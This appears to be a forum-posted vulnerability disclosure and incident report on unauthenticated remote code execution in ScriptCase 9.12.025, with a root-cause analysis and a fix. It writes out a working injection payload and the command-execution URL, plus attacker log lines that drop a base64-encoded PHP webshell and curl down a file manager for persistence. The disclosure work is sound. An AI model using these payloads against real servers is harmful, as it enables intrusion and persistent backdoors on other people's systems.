# Security Vulnerability Report — ScriptCase Production Manager

Security Vulnerability Report — ScriptCase Production Manager

Date: 23 May 2026
Affected Version: ScriptCase 9.12.025
Severity: Critical — Unauthenticated Remote Code Execution (RCE)
Reported by: dnhost.gr (hosting provider of affected installation)


Executive Summary

A critical unauthenticated Remote Code Execution vulnerability was discovered and actively exploited in ScriptCase 9.12.025. The vulnerability allows any unauthenticated attacker to execute arbitrary OS commands on the server by sending a crafted POST request to the production manager endpoint, without requiring any valid credentials.

The vulnerability was actively exploited in the wild starting 14 May 2026


Vulnerability Details

Root Cause

The vulnerability exists in the class nmPagePubDirectory located at:

/_lib/prod/lib/php/devel/class/page/nmPagePubDirectory.class.php

In the class constructor, the method doAjax() is called before CheckLogin():

function __construct()
{
    $this->doAjax();    // ← Executes POST handler FIRST — no auth check
    $this->SetBody('nmPage');
    $this->SetMargin(10);
    $this->SetPage('PubDirectory');
    $this->CheckLogin(); // ← Authentication check happens AFTER — too late
    $this->SetPageSubtitle('');
    $this->getOSPath();
}

The doAjax() method processes the POST request, writes data to a PHP config file, and calls exit — meaning CheckLogin() is never reached:

function doAjax()
{
    if (isset($_POST['ajax']) && $_POST['ajax'] == 'nm') {
        switch ($_POST['nm_action']) {
            case 'pub_dir_save':
                if(!empty($_POST['data']) && is_array($_POST['data'])){
                    $response = $this->savePubDir($_POST['data']); // writes PHP file
                }
                break;
        }
        echo json_encode($response);
        exit; // ← exits before CheckLogin() is ever called
    }
}

Secondary Issue — No Input Sanitization

The savePubDir() method writes $_POST['data'] directly into a PHP file without any sanitization:

function savePubDir($arr_data = array())
{
    $str_file = '<?php '."\r\n";
    $str_file .= '$sc_arr_system_dir = array();'."\r\n";
    foreach($arr_data as $key => $item) {
        // $item written directly from POST data — no sanitization
    }
    file_put_contents($conf_file, $str_file); // writes attacker-controlled PHP
}

Third Issue — Config File is Web-Accessible

The resulting PHP config file is written to:

/_lib/conf/prod.pub.dir.php

This directory is accessible via HTTP, so the injected PHP code is directly executable via a GET request.


Attack Chain

Step 1: POST /_lib/prod/lib/php/devel/iface/pub_dir.php
        Body: ajax=nm&nm_action=pub_dir_save&data[]=");system($_GET[0]);//

Step 2: ScriptCase writes the injected code to:
        /_lib/conf/prod.pub.dir.php

Step 3: GET /_lib/conf/prod.pub.dir.php?0=whoami
        → Server executes arbitrary OS command

Proof of Exploitation (from Apache access logs)

First attack — 14 May 2026 03:10 (IP: 149.102.229.170)

POST /_lib/prod/lib/php/devel/iface/pub_dir.php HTTP/1.0  →  200
GET  /_lib/conf/prod.pub.dir.php?0=whoami                 →  200 (11 bytes)

No login.php request precedes the POST — confirming unauthenticated access.

Second attacker — 17 May 2026 (IP: 193.32.127.241)

GET /_lib/conf/prod.pub.dir.php?0=pwd+%26%26+ls+%2Fhome   →  200
GET /_lib/conf/prod.pub.dir.php?0=echo+test+>+proof.txt   →  200
GET /_lib/conf/prod.pub.dir.php?0=rm+-f+proof.txt         →  200

Third attacker — 18 May 2026 (IP: 109.243.64.191)

GET /_lib/conf/prod.pub.dir.php?0=php+-r+"file_put_contents('up.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4='));"

Base64 decodes to: <?php system($_GET[0]); ?>

The attacker then deployed TinyFileManager for persistent file system access:

GET /up.php?0=curl -O https://raw.githubusercontent.com/prasathmani/tinyfilemanager/.../tinyfilemanager.php

Additional attackers confirmed in logs

IP Date Activity
149.102.229.170 14–15 May 2026 Reconnaissance, proof-of-ownership writes
193.32.127.241 17 May 2026 Verification, file write/delete
109.243.64.191 18 May 2026 Persistent webshell + TinyFileManager deployment
103.102.247.184 15 May 2026 Reconnaissance
149.102.229.169 22 May 2026 Return visit, shell verification

Suggested Fix

Move CheckLogin() before doAjax() in the constructor:

function __construct()
{
    $this->CheckLogin(); // ← Authentication FIRST
    $this->doAjax();    // ← Then handle POST
    $this->SetBody('nmPage');
    $this->SetMargin(10);
    $this->SetPage('PubDirectory');
    $this->SetPageSubtitle('');
    $this->getOSPath();
}

Additionally:

  • Sanitize $_POST['data'] before writing to PHP files in savePubDir()
  • Restrict web access to /_lib/conf/ via Apache/Nginx configuration
  • Restrict /_lib/prod/ to trusted IPs only

Files Involved

File Role
/_lib/prod/lib/php/devel/iface/pub_dir.php Entry point — no auth check in include chain
/_lib/prod/lib/php/devel/lib/php/base_ini.inc.php Included bootstrap — no authentication
/_lib/prod/lib/php/devel/class/page/nmPagePubDirectory.class.php Vulnerable class — doAjax() before CheckLogin()
/_lib/conf/prod.pub.dir.php Output PHP file — web-accessible, contains injected code

Impact

  • Full unauthenticated Remote Code Execution as the Apache process user
  • Persistent backdoor installation (webshell at /httpdocs/up.php, TinyFileManager)
  • Database credential exposure (MySQL credentials stored in encrypted session files, accessible after server compromise)
  • Multiple attacker groups exploited the same vulnerability independently within days

Contact

This report was prepared by the infrastructure team at dnhost.gr following incident response on a hosted customer server. We are available to provide additional log evidence, the full session file content, or clarification on any of the above findings.

Please acknowledge receipt and advise on patch timeline.

1 Like